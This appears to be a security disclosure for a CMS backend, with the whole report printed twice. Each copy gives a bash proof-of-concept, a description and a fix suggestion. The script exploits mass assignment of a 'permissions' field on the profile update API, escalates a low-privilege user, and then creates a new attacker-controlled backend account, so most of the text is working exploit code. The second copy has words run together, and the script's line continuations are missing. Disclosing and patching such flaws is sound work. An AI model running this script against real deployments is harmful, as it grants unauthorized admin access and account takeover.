POC:
#!/usr/bin/env bash
set -euo pipefail
BASE_URL="${1:-http://192.168.200.21:8000}"
ADMIN_EMAIL="${ADMIN_EMAIL:-n.widart@gmail.com}"
ADMIN_PASSWORD="${ADMIN_PASSWORD:-test}"
TS="$(date +%s)"
ROLE_NAME="Low Profile Auditor ${TS}"
ROLE_SLUG="low-profile-auditor-${TS}"
LOW_EMAIL="low.profile.${TS}@example.com"
LOW_PASSWORD='Passw0rd!'
NEW_EMAIL="owned.profile.${TS}@example.com"
NEW_PASSWORD='PwnedPassw0rd!'
admin_cookie="$(mktemp)"
low_cookie="$(mktemp)"
new_cookie="$(mktemp)"
trap 'rm -f "$admin_cookie" "$low_cookie" "$new_cookie" /tmp/poc_v37_admin_login.html /tmp/poc_v37_low_login.html /tmp/poc_v37_new_login.html' EXIT
extract_token() {
grep -oP 'name="_token" type="hidden" value="\K[^"]+'
}
extract_meta_token() {
grep -oP 'meta name="user-api-token" content="\K[^"]*'
}
echo "[*] login as admin"
admin_csrf="$(curl -sS -c "$admin_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -sS -b "$admin_cookie" -c "$admin_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$admin_csrf"
--data-urlencode "email=$ADMIN_EMAIL"
--data-urlencode "password=$ADMIN_PASSWORD" >/tmp/poc_v37_admin_login.html
admin_token="$(extract_meta_token </tmp/poc_v37_admin_login.html)"
if [[ -z "$admin_token" ]]; then
echo "[*] generate admin api token"
curl -sS -b "$admin_cookie" -c "$admin_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
admin_token="$(curl -sS -b "$admin_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] admin token: $admin_token"
echo "[*] create low-privilege role"
curl -sS -X POST "$BASE_URL/en/api/user/roles"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"name":"$ROLE_NAME","slug":"$ROLE_SLUG","permissions":{"dashboard.index":"1","account.api-keys.index":"1","account.api-keys.create":"1"}}"
echo
role_id="$(curl -sS "$BASE_URL/en/api/user/roles/all" -H "Authorization: Bearer $admin_token" | python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; print([x["id"] for x in data if x["slug"] == sys.argv[1]][0])' "$ROLE_SLUG")"
echo "[+] role id: $role_id"
echo "[*] create low-privilege user"
curl -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Low","last_name":"Profile","email":"$LOW_EMAIL","password":"$LOW_PASSWORD","password_confirmation":"$LOW_PASSWORD","roles":[$role_id],"is_activated":true}"
echo
echo "[] login as low-privilege user"
low_csrf="$(curl -sS -c "$low_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -sS -b "$low_cookie" -c "$low_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$low_csrf"
--data-urlencode "email=$LOW_EMAIL"
--data-urlencode "password=$LOW_PASSWORD" >/tmp/poc_v37_low_login.html
low_token="$(extract_meta_token </tmp/poc_v37_low_login.html)"
if [[ -z "$low_token" ]]; then
echo "[] generate low-privilege api token"
curl -sS -b "$low_cookie" -c "$low_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
low_token="$(curl -sS -b "$low_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] low token: $low_token"
echo "[*] protected user listing should be denied before privilege escalation"
curl -i -sS "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $low_token" | sed -n '1,20p'
echo "[*] low-privilege user injects arbitrary permissions via profile update"
curl -i -sS -X POST "$BASE_URL/en/api/user/account/profile"
-H "Authorization: Bearer $low_token"
-H 'Content-Type: application/json'
-d "{"email":"$LOW_EMAIL","first_name":"Low","last_name":"Profile","permissions":{"dashboard.index":true,"user.users.index":true,"user.users.create":true}}" | sed -n '1,20p'
echo "[*] previously protected user listing is now accessible"
curl -i -sS "$BASE_URL/en/api/user/users?per_page=1"
-H "Authorization: Bearer $low_token" | sed -n '1,30p'
echo "[*] escalated low-privilege user creates a new backend-capable account"
curl -i -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $low_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Owned","last_name":"Profile","email":"$NEW_EMAIL","password":"$NEW_PASSWORD","password_confirmation":"$NEW_PASSWORD","is_activated":true,"permissions":{"dashboard.index":true,"account.api-keys.index":true,"account.api-keys.create":true}}" | sed -n '1,20p'
echo "[*] login with the attacker-controlled account"
new_csrf="$(curl -sS -c "$new_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -i -sS -b "$new_cookie" -c "$new_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$new_csrf"
--data-urlencode "email=$NEW_EMAIL"
--data-urlencode "password=$NEW_PASSWORD" >/tmp/poc_v37_new_login.html
sed -n '1,30p' /tmp/poc_v37_new_login.html
new_token="$(extract_meta_token </tmp/poc_v37_new_login.html)"
echo "[+] new user token: $new_token"
des:The user profile update interface allows logged-in backend users to directly submit and save the "permissions" field. The ProfileController@update method passes $request->all() directly to the user repository to update the current user, and the user model configuration includes "permissions" as a field that can be assigned in bulk, which allows low-permission backend users to write arbitrary permissions when modifying their own profiles. In practical verification, I first created a low-permission backend account with only the permissions of "dashboard.index", "account.api-keys.index", and "account.api-keys.create". Initially, accessing GET /en/api/user/users returned a 401 Unauthorized response; subsequently, using the same Bearer Token to submit a POST /en/api/user/account/profile request with "dashboard.index", "user.users.index", and "user.users.create" as the "permissions" boolean values, the interface returned a 200 response, and the originally protected GET /en/api/user/users immediately returned a 200 response. Then, this low-permission account could continue to successfully create a new set of backend accounts controlled by itself by calling POST /en/api/user/users, and successfully logged in using the password of this account, redirecting to /en/backend. This indicates that attackers can use the profile update interface to complete privilege escalation and obtain a new backend access identity.
suggest:
The profile update API should only allow modifications to the basic profile fields of the current user. This should be implemented through an explicit whitelist assignment, for example, only accepting fields such as email, first_name, last_name, and password, and using $request->validated() instead of $request->all(). Additionally, permissions should be removed from the general profile editing route to prevent it from appearing in fields that can be assigned in bulk. If permissions need to be updated in other management APIs, PermissionManager::clean() should be uniformly reused and only allowed to be called by administrators with the corresponding permissions.
POC:
#!/usr/bin/env bash
set -euo pipefail
BASE_URL="${1:-http://192.168.200.21:8000}"
ADMIN_EMAIL="${ADMIN_EMAIL:-n.widart@gmail.com}"
ADMIN_PASSWORD="${ADMIN_PASSWORD:-test}"
TS="$(date +%s)"
ROLE_NAME="Low Profile Auditor ${TS}"
ROLE_SLUG="low-profile-auditor-${TS}"
LOW_EMAIL="low.profile.${TS}@example.com"
LOW_PASSWORD='Passw0rd!'
NEW_EMAIL="owned.profile.${TS}@example.com"
NEW_PASSWORD='PwnedPassw0rd!'
admin_cookie="$(mktemp)"
low_cookie="$(mktemp)"
new_cookie="$(mktemp)"
trap 'rm -f "$admin_cookie" "$low_cookie" "$new_cookie" /tmp/poc_v37_admin_login.html /tmp/poc_v37_low_login.html /tmp/poc_v37_new_login.html' EXIT
extract_token() {
grep -oP 'name="_token" type="hidden" value="\K[^"]+'
}
extract_meta_token() {
grep -oP 'meta name="user-api-token" content="\K[^"]*'
}
echo "[*] login as admin"
admin_csrf="$(curl -sS -c "$admin_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -sS -b "$admin_cookie" -c "$admin_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$admin_csrf"
--data-urlencode "email=$ADMIN_EMAIL"
--data-urlencode "password=$ADMIN_PASSWORD" >/tmp/poc_v37_admin_login.html
admin_token="$(extract_meta_token </tmp/poc_v37_admin_login.html)"
if [[ -z "$admin_token" ]]; then
echo "[*] generate admin api token"
curl -sS -b "$admin_cookie" -c "$admin_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
admin_token="$(curl -sS -b "$admin_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] admin token: $admin_token"
echo "[*] create low-privilege role"
curl -sS -X POST "$BASE_URL/en/api/user/roles"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"name":"$ROLE_NAME","slug":"$ROLE_SLUG","permissions":{"dashboard.index":"1","account.api-keys.index":"1","account.api-keys.create":"1"}}"
echo
role_id="$(curl -sS "$BASE_URL/en/api/user/roles/all" -H "Authorization: Bearer $admin_token" | python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; print([x["id"] for x in data if x["slug"] == sys.argv[1]][0])' "$ROLE_SLUG")"
echo "[+] role id: $role_id"
echo "[*] create low-privilege user"
curl -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Low","last_name":"Profile","email":"$LOW_EMAIL","password":"$LOW_PASSWORD","password_confirmation":"$LOW_PASSWORD","roles":[$role_id],"is_activated":true}"
echo
echo "[] login as low-privilege user"
low_csrf="$(curl -sS -c "$low_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -sS -b "$low_cookie" -c "$low_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$low_csrf"
--data-urlencode "email=$LOW_EMAIL"
--data-urlencode "password=$LOW_PASSWORD" >/tmp/poc_v37_low_login.html
low_token="$(extract_meta_token </tmp/poc_v37_low_login.html)"
if [[ -z "$low_token" ]]; then
echo "[] generate low-privilege api token"
curl -sS -b "$low_cookie" -c "$low_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
low_token="$(curl -sS -b "$low_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] low token: $low_token"
echo "[*] protected user listing should be denied before privilege escalation"
curl -i -sS "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $low_token" | sed -n '1,20p'
echo "[*] low-privilege user injects arbitrary permissions via profile update"
curl -i -sS -X POST "$BASE_URL/en/api/user/account/profile"
-H "Authorization: Bearer $low_token"
-H 'Content-Type: application/json'
-d "{"email":"$LOW_EMAIL","first_name":"Low","last_name":"Profile","permissions":{"dashboard.index":true,"user.users.index":true,"user.users.create":true}}" | sed -n '1,20p'
echo "[*] previously protected user listing is now accessible"
curl -i -sS "$BASE_URL/en/api/user/users?per_page=1"
-H "Authorization: Bearer $low_token" | sed -n '1,30p'
echo "[*] escalated low-privilege user creates a new backend-capable account"
curl -i -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $low_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Owned","last_name":"Profile","email":"$NEW_EMAIL","password":"$NEW_PASSWORD","password_confirmation":"$NEW_PASSWORD","is_activated":true,"permissions":{"dashboard.index":true,"account.api-keys.index":true,"account.api-keys.create":true}}" | sed -n '1,20p'
echo "[*] login with the attacker-controlled account"
new_csrf="$(curl -sS -c "$new_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -i -sS -b "$new_cookie" -c "$new_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$new_csrf"
--data-urlencode "email=$NEW_EMAIL"
--data-urlencode "password=$NEW_PASSWORD" >/tmp/poc_v37_new_login.html
sed -n '1,30p' /tmp/poc_v37_new_login.html
new_token="$(extract_meta_token </tmp/poc_v37_new_login.html)"
echo "[+] new user token: $new_token"
des:The user profile update interface allows logged-in backend users to directly submit and save the "permissions" field. The
ProfileController@updatemethod passes$request->all()directly to the user repository to update the current user, and the user model configuration includes "permissions" as a field that can be assigned in bulk, which allows low-permission backend users to write arbitrary permissions when modifying their own profiles. In practical verification, I first created a low-permission backend account with only the permissions of "dashboard.index", "account.api-keys.index", and "account.api-keys.create". Initially, accessingGET /en/api/user/usersreturned a 401 Unauthorized response; subsequently, using the same Bearer Token to submit aPOST /en/api/user/account/profilerequest with "dashboard.index", "user.users.index", and "user.users.create" as the "permissions" boolean values, the interface returned a 200 response, and the originally protectedGET /en/api/user/usersimmediately returned a 200 response. Then, this low-permission account could continue to successfully create a new set of backend accounts controlled by itself by callingPOST /en/api/user/users, and successfully logged in using the password of this account, redirecting to/en/backend. This indicates that attackers can use the profile update interface to complete privilege escalation and obtain a new backend access identity.suggest:
The profile update API should only allow modifications to the basic profile fields of the current user. This should be implemented through an explicit whitelist assignment, for example, only accepting fields such as
email,first_name,last_name, andpassword, and using$request->validated()instead of$request->all(). Additionally,permissionsshould be removed from the general profile editing route to prevent it from appearing in fields that can be assigned in bulk. If permissions need to be updated in other management APIs,PermissionManager::clean()should be uniformly reused and only allowed to be called by administrators with the corresponding permissions.